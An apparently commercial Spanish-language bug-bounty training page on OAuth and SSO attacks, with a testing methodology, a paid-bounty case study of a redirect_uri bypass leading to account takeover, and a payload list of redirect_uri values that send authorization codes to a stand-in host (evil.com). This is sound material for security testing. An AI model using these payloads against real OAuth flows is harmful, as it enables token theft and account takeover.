Nuevos labs cada semana — Accede a todos desde 5€/mes

OAuth & SSO

Ataques en flujos de autorización delegada y Single Sign-On

Respuesta rápida

¿Qué es OAuth & SSO?

OAuth permite a los usuarios autorizar a aplicaciones de terceros a acceder a sus datos sin compartir contraseñas. Los fallos en la implementación pueden llevar a account takeover, exfiltración de tokens y CSRF en flujos de autorización.

Severidad

Crítico

Frecuencia

Muy común

Payloads

10

Pasos

6

Severidad

Crítico

Frecuencia

Muy común

Payloads

10

Los flujos OAuth son complejos y tienen múltiples parámetros manipulables: redirect_uri, state, response_type, scope. Un fallo en la validación de cualquiera de estos puede comprometer la seguridad completa del flujo de autenticación.

Account Takeover vía token leakCSRF en vinculación de cuentasExfiltración de authorization codesBypass de 2FA vía OAuthEscalación de privilegios

Dónde buscar

Login con terceros

Botones de 'Sign in with Google/GitHub/Microsoft'. El flujo completo desde la redirección hasta el callback.

Redirect URI

El parámetro redirect_uri es el principal vector. Prueba variaciones: subdominios, path traversal, open redirect chains.

State parameter

Si falta o no se valida, el flujo es vulnerable a CSRF — puedes vincular tu OAuth a la cuenta de otro usuario.

Token en URL fragment

En implicit flow, el token va en el fragment (#). Puede filtrarse vía Referer header o JavaScript.

Integrations page

Funcionalidades de 'Conectar cuenta de GitHub/Slack' — mismos vectores OAuth.

Metodología

1

Mapear el flujo completo

Intercepta todo el flujo OAuth: authorize URL → login en provider → callback con code → token exchange. Anota cada parámetro.

2

Probar redirect_uri

Cambia redirect_uri a tu dominio. Si se refleja → open redirect → token leak. Prueba: target.com@evil.com, target.com.evil.com, /\/evil.com

3

Verificar state parameter

¿Existe? ¿Es aleatorio? ¿Se valida en el callback? Si falta → CSRF para vincular tu OAuth a la cuenta de la víctima.

4

Probar response_type

Cambia code por token (implicit flow). El token puede quedar expuesto en el fragment de la URL.

5

Reutilización de codes

¿El authorization code se invalida después de usarlo? Captura uno y úsalo dos veces.

6

Bypass de restricciones

Prueba HTTP Parameter Pollution (redirect_uri[0), encoding (%2F), y doble codificación.

Caso real

OAuth redirect_uri bypass vía reverse proxy → Account Takeover

$3,000
1

Identificar flujo OAuth

La app usa 'Login con Google' con redirect_uri whitelistado a https://target.com/callback.

2

Bypass de whitelist

El proxy inverso no decodifica %2F en la URL, pero el backend sí: redirect_uri=https://target.com%2F@evil.com/callback

3

Captura del authorization code

Google envía el code a evil.com porque la URL resuelta es https://evil.com/callback.

4

Exchange del code

El atacante intercambia el code por un access token en el endpoint de la víctima → acceso completo a la cuenta.

Lección: Las diferencias entre cómo el proxy y el backend parsean URLs son una fuente constante de bypasses. Siempre prueba encoding de / como %2F en redirect_uri.

Payloads

Redirect a dominio externo

redirect_uri=https://evil.com/callback

Subdomain matching bypass

redirect_uri=https://target.com.evil.com/callback

URL authority confusion

redirect_uri=https://target.com@evil.com/callback

Path traversal en redirect

redirect_uri=https://target.com/callback/../../../evil.com

Cambiar a implicit flow

response_type=token (en vez de response_type=code)

Payloads avanzados(requiere cuenta)

HTTP Parameter Pollution

redirect_uri=https://target.com/callback&redirect_uri=https://evil.com

Encoding bypass (%2F)

redirect_uri=https://target.com%2F@evil.com/callback

Google domain bypass

&hd=attacker.com (restringe el login a un dominio específico)

State parameter path traversal

state=../../../imageProxy/evil.com (si el state se usa en URLs internas)

Cookie bombing → 431

Setear cookies gigantes → forzar error 431 que expone el redirect con el code

Contenido exclusivo

Crea tu cuenta gratis para acceder a payloads avanzados, scripts y técnicas de bypass

Crear cuenta gratis

Herramientas

Burp Suite

Esencial para capturar y manipular redirects, codes y tokens en el flujo OAuth.

Interceptar todo el flujo OAuth y modificar parámetros

OWASP OAuth Testing Guide

Guía completa de testing OAuth con checklist de vulnerabilidades.

https://owasp.org/www-project-web-security-testing-guide/

Tips

redirect_uri es el target #1

El 80% de los bugs OAuth están en la validación del redirect_uri. Prueba todas las variaciones posibles.

Sin state = CSRF

Si no hay parámetro state o no se valida, puedes vincular tu OAuth a la cuenta de otro usuario.

Implicit flow es peligroso

Si puedes cambiar response_type=code a response_type=token, el token queda expuesto en la URL.

Prueba code reuse

Usa el mismo authorization code dos veces. Si funciona, puedes capturar uno y usarlo antes que la víctima.

Practica OAuth & SSO con labs reales

Aplica estas técnicas en entornos seguros basados en reportes reales de bug bounty.